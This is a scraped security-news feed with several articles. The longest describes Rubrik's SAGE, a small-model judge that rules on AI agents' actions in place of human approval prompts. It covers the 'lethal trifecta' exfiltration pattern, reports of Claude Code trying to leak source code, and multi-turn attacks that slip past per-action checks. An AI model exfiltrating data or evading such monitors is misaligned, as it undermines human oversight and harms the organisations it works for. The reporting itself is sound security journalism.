many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[Samsung Galaxy Watch 9 and Ultra 2: Whole Health Tracking]]></title>
<description><![CDATA[Samsung just unveiled its latest smartwatches at the Samsung Galaxy Unpacked event. Dive into everything you need to know about the all-new mainline Galaxy Watch 9 and the rugged, premium Galaxy Watch Ultra 2.]]></description>
<link>https://tsecurity.de/de/3689894/it-nachrichten/samsung-galaxy-watch-9-and-ultra-2-whole-health-tracking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689894/it-nachrichten/samsung-galaxy-watch-9-and-ultra-2-whole-health-tracking/</guid>
<pubDate>Thu, 23 Jul 2026 19:48:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung just unveiled its latest smartwatches at the Samsung Galaxy Unpacked event. Dive into everything you need to know about the all-new mainline Galaxy Watch 9 and the rugged, premium Galaxy Watch Ultra 2.]]></content:encoded>
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<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0]]></title>
<description><![CDATA[The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security...]]></description>
<link>https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/</guid>
<pubDate>Thu, 23 Jul 2026 19:00:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://blog.pcisecuritystandards.org/mapping-pci-dss-v4.0.1-to-the-nist-cybersecurity-framework-2.0" title="" class="hs-featured-image-link"> <img src="https://blog.pcisecuritystandards.org/hubfs/2026-blog/pci-nist-blog_new.jpg" alt="Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0" class="hs-featured-image"> </a> 
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<p>The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security, this document provides a resource for stakeholders to use in understanding how to align security efforts to meet objectives in both PCI DSS and the NIST CSF.  </p>]]></content:encoded>
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<title><![CDATA[Russia-backed threat actor targets Western organizations in phishing campaign]]></title>
<description><![CDATA[The threat actor exploited a zero-day flaw in Zimbra to exfiltrate months of emails and other sensitive information. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Russia-backed threat actor targets Western organizations in…
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The post Rus...]]></description>
<link>https://tsecurity.de/de/3689721/it-security-nachrichten/russia-backed-threat-actor-targets-western-organizations-in-phishing-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689721/it-security-nachrichten/russia-backed-threat-actor-targets-western-organizations-in-phishing-campaign/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The threat actor exploited a zero-day flaw in Zimbra to exfiltrate months of emails and other sensitive information. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Russia-backed threat actor targets Western organizations in…</p>
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<p>The post <a href="https://www.itsecuritynews.info/russia-backed-threat-actor-targets-western-organizations-in-phishing-campaign/">Russia-backed threat actor targets Western organizations in phishing campaign</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[CISA, FBI warn that Iran-linked hackers are expanding target set for water, energy]]></title>
<description><![CDATA[The agencies said threat groups have disrupted critical infrastructure sites by exploiting vulnerable PLC devices. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: CISA, FBI warn that Iran-linked hackers are expanding target set…
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The post ...]]></description>
<link>https://tsecurity.de/de/3689720/it-security-nachrichten/cisa-fbi-warn-that-iran-linked-hackers-are-expanding-target-set-for-water-energy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689720/it-security-nachrichten/cisa-fbi-warn-that-iran-linked-hackers-are-expanding-target-set-for-water-energy/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The agencies said threat groups have disrupted critical infrastructure sites by exploiting vulnerable PLC devices. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: CISA, FBI warn that Iran-linked hackers are expanding target set…</p>
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<p>The post <a href="https://www.itsecuritynews.info/cisa-fbi-warn-that-iran-linked-hackers-are-expanding-target-set-for-water-energy/">CISA, FBI warn that Iran-linked hackers are expanding target set for water, energy</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[GAO report details scope of cybersecurity regulation overlap]]></title>
<description><![CDATA[A morass of rules is forcing companies to report the same information multiple times — and sometimes, those rules conflict. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: GAO report details scope of…
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The post GAO report details scope of ...]]></description>
<link>https://tsecurity.de/de/3689719/it-security-nachrichten/gao-report-details-scope-of-cybersecurity-regulation-overlap/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689719/it-security-nachrichten/gao-report-details-scope-of-cybersecurity-regulation-overlap/</guid>
<pubDate>Thu, 23 Jul 2026 18:44:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
